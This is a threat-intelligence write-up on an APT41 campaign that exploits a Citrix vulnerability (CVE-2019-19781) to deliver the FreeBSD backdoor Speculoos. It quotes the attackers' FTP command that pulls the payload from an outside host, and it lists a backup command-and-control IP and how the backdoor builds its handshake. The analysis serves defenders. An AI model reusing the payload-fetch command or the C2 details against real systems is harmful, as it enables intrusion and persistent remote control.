The global attack campaign by APT41 reported earlier by FireEye seems to be in continuity till date. The threat actors have been targeting Citrix, Cisco, and Zoho network appliances via exploitation of recently disclosed vulnerabilities. The samples of payloads targeting Citrix appliances were executables compiled to run on FreeBSD. Multiple victims have been traced in industries such as healthcare, higher education, manufacturing, government and technology services in multiple regions around the world, such as North America, South America, and Europe. The new backdoor Speculoos is being delivered by exploiting the CVE-2019-19781 Citrix vulnerability.
Speculoos was delivered by exploiting CVE-2019-19781, a vulnerability affecting the Citrix Application Delivery Controller, Citrix Gateway, and Citrix SD-WAN WANOP appliances that allowed an adversary to remotely execute arbitrary commands. The vulnerability helps direct the victim appliances to retrieve Speculoos over FTP using the command /usr/bin/ftp -o /tmp/bsd ftp://test:[redacted]\@66.42.98[.]220/<filename> as reported by FireEye. The Speculoos backdoor is an ELF executable compiled with GCC 4.2.1 to run on a FreeBSD system.
Upon execution, the payload enters a loop that calls a function to communicate with the following command and control (C2) domain over TCP/443. If it is unable to communicate with the domain above, Speculoos will attempt to use a backup C2 at 119.28.139[.]20, also over TCP/443. If it is able to connect to either C2 server, it will carry out a TLS handshake with the server using the hardcoded buffer in the binary which is used as the first packet in the handshake. Before sending the hardcoded buffer to the C2 server, Speculoos modifies offset 11 with the current time and offset 15 with 28 pseudorandom bytes generated by iterating through the domain string, adding the current time and then using XOR on each byte with 7 multiplied by the byte’s offset as a key.